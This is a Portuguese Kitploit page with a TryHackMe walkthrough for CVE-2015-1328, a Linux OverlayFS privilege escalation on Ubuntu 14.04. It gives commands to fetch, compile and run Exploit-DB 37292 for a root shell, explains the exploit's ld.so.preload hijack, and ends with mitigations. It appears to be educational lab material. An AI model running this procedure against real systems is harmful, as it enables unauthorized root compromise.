Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2015-1328 — Guia passo a passo para explorar a CVE-2015-1328 (OverlayFS) e escalar privilégios de um usuário de baixo privilégio para root no Ubuntu 14.04. Inclui enumeração, compilação do exploit e execução. | Kitploit
Ferramentas/GitHubGitHub/fernandocassiodev/cve-2015-1328
Escalada de PrivilégiosExploraçãoCTFAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Guia passo a passo para explorar a CVE-2015-1328 (OverlayFS) e escalar privilégios de um usuário de baixo privilégio para root no Ubuntu 14.04. Inclui enumeração, compilação do exploit e execução.

Ver Repositório
há 27 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2015-1328

Passo a Passo TryHackMe – Escalação de Privilégios no Kernel Linux (CVE-2015-1328)

Objetivo

O objetivo deste passo a passo foi escalar privilégios de um usuário sem privilégios (karen) para root explorando um kernel Linux vulnerável.


Etapa 1 – Enumeração Inicial

Após conectar-se à máquina alvo via SSH:

root@kitploit:~
ssh karen@<target-ip>

Identifiquei a versão do kernel Linux:

root@kitploit:~
uname -r

Saída:

root@kitploit:~
3.13.0-24-generic

A máquina estava executando com o kernel .

Ubuntu 14.04
3.13.0-24-generic

Etapa 2 – Buscar Vulnerabilidades no Kernel

Como a escalação de privilégios no Linux geralmente depende de kernels vulneráveis, pesquisei no Exploit-DB usando o SearchSploit:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Resultado:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

Esse exploit tem como alvo a CVE-2015-1328, que afeta kernels Ubuntu anteriores às versões corrigidas.


Etapa 3 – Entender a Vulnerabilidade

Antes de executar qualquer exploit, é importante entender o que ele faz.

O exploit abusa de uma falha no OverlayFS, o sistema de arquivos union do Linux.

A vulnerabilidade existe porque o OverlayFS lida incorretamente com permissões de arquivos quando montado dentro de um namespace de usuário (CLONE_NEWUSER).

Um usuário sem privilégios pode manipular o OverlayFS para criar ou modificar arquivos que só deveriam poder ser gravados por root.

O exploit acaba gravando em:

root@kitploit:~
/etc/ld.so.preload

Esse arquivo informa ao carregador dinâmico do Linux que uma biblioteca compartilhada deve ser carregada antes de cada executável com vínculo dinâmico.

Ao forçar o sistema a carregar uma biblioteca compartilhada maliciosa, o exploit obtém execução de código como root.


Etapa 4 – Obter o Exploit

Usando o SearchSploit:

root@kitploit:~
searchsploit -m 37292

Isso copiou o exploit localmente:

root@kitploit:~
37292.c

O exploit foi então transferido para a máquina da vítima.

Neste passo a passo, ele foi salvo como:

root@kitploit:~
/tmp/ofs.c

Etapa 5 – Compilar o Exploit

Navegue até o diretório que contém o exploit:

root@kitploit:~
cd /tmp

Compile-o usando o GCC:

root@kitploit:~
gcc ofs.c -o ofs

Se a compilação for bem-sucedida, o GCC não produz saída.

Verifique se o executável existe:

root@kitploit:~
ls -l

Esperado:

root@kitploit:~
-rwxr-xr-x ... ofs

Etapa 6 – Executar o Exploit

Execute o executável:

root@kitploit:~
./ofs

O exploit exibe mensagens semelhantes a:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Por fim, ele abre um shell root:

root@kitploit:~
#

Verifique os privilégios:

root@kitploit:~
id

Saída:

root@kitploit:~
uid=0(root) gid=0(root)

Etapa 7 – Recuperar a Flag

Com os privilégios de root obtidos:

root@kitploit:~
cat /home/matt/flag1.txt

O arquivo agora pôde ser lido com sucesso.


Como o Exploit Funciona

O exploit realiza várias ações internamente.

1. Cria um Namespace de Usuário

root@kitploit:~
unshare(CLONE_NEWUSER);

Namespaces de usuário no Linux permitem que um processo sem privilégios aparente ser root dentro do namespace, sem ser root no host.

Essa capacidade é essencial para o ataque.


2. Cria um Namespace de Montagem

root@kitploit:~
clone(... CLONE_NEWNS ...)

Um namespace de montagem separado isola alterações no sistema de arquivos do restante do sistema operacional.

Isso permite que o exploit monte o OverlayFS sem afetar o sistema de arquivos global.


3. Monta o OverlayFS

O exploit cria diretórios temporários:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

Em seguida, monta o OverlayFS:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

Devido à vulnerabilidade do kernel, o OverlayFS permite incorretamente operações que deveriam exigir privilégios de root.


4. Cria /etc/ld.so.preload

O exploit renomeia um arquivo gravável dentro da montagem OverlayFS para:

root@kitploit:~
ld.so.preload

Após remontar o OverlayFS sobre /etc, esse arquivo se torna:

root@kitploit:~
/etc/ld.so.preload

Normalmente, apenas root deveria conseguir criar esse arquivo.


5. Constrói uma Biblioteca Compartilhada Maliciosa

O exploit escreve um arquivo de código-fonte C:

root@kitploit:~
/tmp/ofs-lib.c

Depois, compila-o:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

A biblioteca compartilhada resultante substitui a função getuid().


6. Sequestra o Carregador Dinâmico

O exploit escreve:

root@kitploit:~
/tmp/ofs-lib.so

em:

root@kitploit:~
/etc/ld.so.preload

Agora, todo executável com vínculo dinâmico carrega essa biblioteca maliciosa antes de qualquer biblioteca do sistema.


7. Executa /bin/su

Por fim:

root@kitploit:~
execl("/bin/su", "su", NULL);

Quando o su inicia, a função maliciosa getuid() é executada no lugar da original.

A biblioteca:

  • remove /etc/ld.so.preload
  • exclui a biblioteca compartilhada maliciosa
  • chama:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • inicia:
root@kitploit:~
/bin/sh

O resultado é um shell root interativo.


Por Que Isso Funciona

A vulnerabilidade é causada pelo tratamento incorreto de permissões no OverlayFS quando usado dentro de namespaces de usuário.

Um usuário sem privilégios pode manipular o OverlayFS para criar arquivos privilegiados como:

root@kitploit:~
/etc/ld.so.preload

Como o carregador dinâmico confia nesse arquivo, código arbitrário é executado como root.


Mitigação

Essa vulnerabilidade foi corrigida pela Ubuntu em versões atualizadas do kernel.

As estratégias de mitigação incluem:

  • Atualizar o kernel Linux para uma versão corrigida.
  • Desabilitar namespaces de usuário sem privilégios quando não forem necessários.
  • Restringir o uso do OverlayFS.
  • Aplicar atualizações de segurança regularmente.
  • Monitorar modificações não autorizadas em:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Principais Conclusões

  • Sempre enumere a versão do kernel durante a escalação de privilégios no Linux.
  • Verifique se a versão do kernel é vulnerável antes de tentar a exploração.
  • Leia e entenda o código do exploit antes de executá-lo.
  • Exploits de kernel podem levar diretamente a privilégios de root, mas também podem derrubar o sistema alvo.
  • Em testes de penetração no mundo real, a exploração do kernel só deve ser tentada quando explicitamente autorizada, devido ao impacto potencial na estabilidade do sistema.

Comandos Utilizados

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Baixar ferramenta